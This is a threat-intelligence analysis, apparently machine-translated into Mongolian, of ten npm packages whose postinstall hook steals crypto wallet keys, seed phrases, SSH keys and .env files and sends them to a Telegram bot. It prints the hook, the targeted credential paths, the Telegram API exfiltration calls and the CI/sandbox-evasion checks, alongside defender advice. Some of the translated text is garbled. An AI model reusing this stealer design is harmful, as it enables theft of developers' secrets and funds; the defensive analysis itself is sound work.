TL, DR
2026 оны 6-р сарын 9-нд npm нийтлэгчийн ганц бүртгэл, aicrypto-xzggg, тээвэрлэгдсэн арван багц крипто болон Web3 амттай нэртэй — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, бас зургаан.
Багц бүр нэгээс ижил ачааллыг ажиллуулдаг postinstall дэгээ. Суулгах үед энэ нь CI эсвэл sandbox дотор ажиллаж байгаа эсэхийг шалгадаг - хэрэв үгүй бол түрийвчний түлхүүр хадгалах сан, үрийн хэллэгийн файлууд, SSH түлхүүрүүд гэх мэтийг уншдаг. .env Зургаан блокчэйн экосистемээс файлуудыг татаж аваад Telegram бот руу дамжуулдаг.
Хамгаалагчийн шууд хайж олох цорын ганц үзүүлэлт бол Telegram ботын дугаар юм. 8227918239.
Хүнд байдал: шүүмжлэлтэй — гарын үсэг зурах түлхүүр болон сэргээх хэллэгийг шууд хулгайлах хөгжүүлэгчийн ажлын станцууд.
Довтолгоо: Энэ нь хэрхэн ажилладаг вэ
Багцууд нь өөрсдийгөө блокчэйн хөгжүүлэгчийн хэрэгслүүд гэж сурталчилдаг. багц.json нь хамгийн бага бөгөөд суулгалтын амьдралын мөчлөгийг скрипт рүү чиглүүлдэг:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" }скриптүүд/postinstall.js нь жинхэнэ ачааллыг ачаалдаг нэг мөртэй шим юм: шаарддаг(“../src/index.js”)Байна. Учир нь суулгасны дараах үед автоматаар ажилладаг npm суулгах, хөгжүүлэгч код импортлох шаардлагагүй - багцыг хамаарлын модонд байрлуулах нь үүнийг ажиллуулахад хангалттай.
Дотор нь алах гинж src/index.js дөрвөн алхамтай:
- Байгаль орчны шалгалт. Хамгаалалтын функц нь хост нь бүтээх агент эсвэл шинжилгээний хамгаалагдсан хязгаарлагдмал орчинтой адилхан харагдах эсэхийг шийддэг.
- Саатал. Гүйцэтгэлийг хойшлуулсан Цагийг тохируулах ойролцоогоор 7.4 секунд.
- Цуглуулга. Түрийвч, түлхүүр болон нууц файлын замуудын тогтмол жагсаалтыг дагадаг; одоо байгаа файлуудыг дараалалд оруулдаг.
- Шүүлтүүр. Дараалалд байгаа файлуудыг Telegram бот руу илгээдэг бөгөөд үүний өмнө хураангуй мессеж илгээгддэг.
Цуглуулгын зорилтот жагсаалт нь зургаан гинж болон ерөнхий хөгжүүлэгчийн нууцуудыг хамардаг. Тайрсан:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localНийт хорин нэгэн зам. Жишээ нь лавлах оруулгууд ~/.ethereum/түлхүүрийн сан өргөтгөгдөж, доторх файл бүр дараалалд ордог. Экспресс нь Telegram Bot API-г шууд ашигладаг — a Мессеж илгээх хост болон файлын хураангуйг ашиглан дуудаж, дараа нь илгээх Документ файл бүрийн олон хэсгээс бүрдсэн байршуулалт:
текст
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file)Кодын угсарсан хураангуй мессеж нь шууд утгатай тэмдэгт мөрөөс эхэлдэг КРИПТО ХУЛГАЙЛАГЧ, дараа нь хостын нэр, хэрэглэгчийн нэр, эх багцын нэр, файлын тоо, болон цагийн тэмдэг орно.
Энд шинээр юу байна
Ялгарах зүйл нь хулгайн механизм биш — npm-ээс авсан Telegram дээр суурилсан exfil суулгасны дараах hooks сайн гишгэгдсэн. Энэ бол гүйцэтгэлийн хаалга. Ямар нэгэн зүйл хийхээсээ өмнө, payload нь хост нь CI runner эсвэл sandbox-той төстэй үед үнэн утга буцаадаг функцийг дууддаг бөгөөд тийм үед эрт буцаадаг:
текст
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape)container-id regex нь анхаарал татахуйц заалт юм: 12 зургаан тэмдэгттэй хост нэр нь Docker-ийн өгсөн анхдагч хэлбэр юм. сав, тиймээс төлбөрийн ачаалал нь "миний хост нэр Docker контейнер шиг харагдаж байна" гэсэн шалтгааныг идэвхгүй байх шалтгаан гэж үздэг. Долоон секундын сааталтай хослуулан уг загвар нь хөгжүүлэгчийн жинхэнэ ажлын станц дээр ажиллаж, автоматжуулсан шинжилгээ шиг харагдаж байгаа хаана ч чимээгүй байхыг илүүд үздэг. Энэ хаалга нь динамик шинжилгээний дохиог дарж, статик exfil урсгалыг гол итгэл үнэмшлийн нотолгоо болгон хадгалсан зүйл юм.
Цагийн хуваарь
Бүх арван бүтээл ойролцоогоор далан минутын дотор гарч ирсэн бөгөөд энэ нь нэг хэрэглэгчийн бичсэн ганцхан зохиолтой тохирч байна.
Буулт хийх үзүүлэлтүүд
Сүлжээ болон зан үйлийн үзүүлэлтүүд (хостын defanged):
Багцууд болон хувилбарууд, тус бүр нь өөрийн SHA-256-тай src/index.js Ачаалал (ачаалал нь функциональ хувьд ижил бөгөөд зөвхөн суулгагдсан багцын нэрийн шошгон дээр ялгаатай тул хэш бүр өөр өөр байдаг):
Энгийн хайлтын асуулга: арван нэрийн аль нэгийг нь суулгах бүртгэл болон түгжих файлуудаас хайх, мөн өөрөөр ашигладаггүй бүтээгдсэн эсвэл хөгжүүлэгч хостуудаас Telegram Bot API руу холбогдох гадагш урсгалыг хайх.
Атрибут ба Ажиглагдсан Зан төлөв
Бүх арван багцыг нэг бүртгэл нийтэлсэн, aicrypto-xzggg, заасан имэйл хаяг нь vipsyria88@gmail[.]comИмэйл болон эх сурвалжийн хяналтын холбоос хоёулаа бүртгэлийн мета өгөгдөлд баталгаажаагүй бөгөөд бүртгэлийн нэр хүндийн оноо маш сөрөг байна. Бид бүртгэлийг хэн ажиллуулж байгааг баталгаажуулаагүй байна.
Аливаа хувийн мэдээлэлтэй холбоотой нэхэмжлэлээс хоёр зүйлийг салгаж авч үзэх нь зүйтэй. Нэгдүгээрт, багц.json Зохиогчийн талбарын уншлага Алекс Смит багц бүр дээр, харин бодит хэвлэлийн данс нь aicrypto-xzggg; зохиогчийн талбар нь өөрөө мэдэгдсэн мета өгөгдөл бөгөөд зохиогчийн эрхийг тогтоодоггүй. Хоёрдугаарт, хувилбарын дугаарууд харилцан адилгүй байдаг - зарим гишүүд ... дээр суудаг 1.0.0, бусад нь 4.68.54 — энэ нь жинхэнэ хувилбарын түүхийг хадгалахын оронд шинээр гаргасан багцын нэрс дээр нэг ашигтай ачааллыг дахин ашиглахтай нийцдэг.
Кластер даяар зан төлөв нь жигд байна: ижил зорилтот замын жагсаалт, ижил Telegram ботын дугаар болон чатын дугаар, ижил орчны хаалга, ижил КРИПТО ХУЛГАЙЛАГЧ тэмдэглэгээ. Энэхүү нэгэн жигд байдал нь багцуудын хоорондох хамгийн хүчтэй холбоос юм. Энэ нь ижил операторын дохио болохоос таних тэмдэг биш юм.
Хамгаалагчдын нөлөөлөл, чиг хандлага ба удирдамж
Илрүүлэлт нь тодорхой байна. Эдгээр багцуудын аль нэгийг програм хангамжийн түрийвч, үрийн хэллэгийн файл эсвэл SSH түлхүүр агуулсан ажлын станц дээр суулгасан хөгжүүлэгч эдгээр файлуудыг хэдхэн секундын дотор уншиж, хостоос дамжуулдаг. Сэргээх хэллэгүүд болон гарын үсгийн түлхүүрүүд нь сессийн токен шиг хугацаа нь дуусдаггүй; нэг удаа мнемоник.txt эсвэл Солана id.json машинаас гарахад түүний хянадаг сангууд шилжих хүртэл эрсдэлд орно. Үүнтэй адил гүйлт нь мөн ...-г эзэлдэг. .env API түлхүүр болон мэдээллийн сангийн итгэмжлэлийг тогтмол авч явдаг файлууд.
Энэ кластерын ард хоёр чиг хандлага оршино. Эхнийх нь тодорхой үзэгчдийг татахын тулд крипто болон Вэб3 сэдэвтэй нэрсийг үргэлжлүүлэн ашиглах явдал юм - түрийвч болон түлхүүрүүдийг суулгасан хамааралтай зүйлс дээрээ хадгалдаг хөгжүүлэгчид. Хоёр дахь нь суулгах хугацааны ачааллын үед sandbox-оос зайлсхийх үйл явцын төлөвшил юм. CI орчны хувьсагч, runner хэрэглэгчийн нэр, Docker контейнерийн ID хост нэрийн хэлбэрийг шалгадаг хаалга нь бодит ажлын станцаас өөрөөр шинжилгээний дор ажиллахыг зориудаар оролддог бөгөөд энэ нь цэвэр динамик илрүүлэлтийн түвшинг нэмэгдүүлдэг.
Хамгаалагчдын хувьд:
Скриптийг анхдагчаар идэвхгүй болгосон үед суулгана уу. npm суулгах –ignore-scripts, эсвэл тохируулна уу ignore-scripts=үнэн in .npmrc, сэргийлдэг суулгасны дараах гүйцэтгэх; зөвхөн үнэхээр шаардлагатай тодорхой хамаарлуудад зориулсан скриптүүдийг идэвхжүүлэх.
Түрийвч болон гарын үсэг зурах түлхүүрүүдийг бүтээх болон хөгжүүлэх машинуудаас хол байлга. Тоног төхөөрөмжийн түрийвч эсвэл зориулалтын, хамааралгүй гарын үсэг зурах хост ашиглаарай.
Эмчил .env, түлхүүрийн сан, үрийн хэллэгийн файлуудыг титэм эрдэнэс болгон ашигладаг. Тэдгээр нь хэзээ ч мөн адил сан дотор байрлах ёсгүй. npm суулгах ажиллаж буй мод.
CI болон хөгжүүлэгч хостуудаас Telegram Bot API руу гадагш чиглэсэн холболтуудыг хайж олоорой. Ихэнх бүтээх орчин хэзээ ч үүнийг дууддаггүй; суулгасны дараа гэнэт дууддаг орчинг судлах нь зүйтэй.
Хамааралтай зүйлсийг тэмдэглэж, хянана уу. Ерөнхий крипто нэртэй цоо шинэ багц, суулгасны дараах дэгээ бөгөөд цоожны файлд орохоосоо өмнө ямар ч репозиторын холбоос харах шаардлагагүй.
Контейнерын дугаараас зайлсхийх заалт нь шинжээчдэд сануулга болдог: суулгах хугацааны ачаалал нь хамгаалагдсан орчинд идэвхгүй хэвээр байвал хоргүй биш, харин сонгомол шинж чанартай байдаг. Суулгах замын статик хяналт нь динамик гүйцэтгэл юуг харуулахаас татгалзаж болохыг харах найдвартай арга хэвээр байна.
Ашигласан материал
npm суулгалтын баримт бичиг — амьдралын мөчлөгийн скриптүүд болон –үл тоомсорлох-скриптүүд— автомат суулгалтыг идэвхгүй болгох лавлагаа hooks.
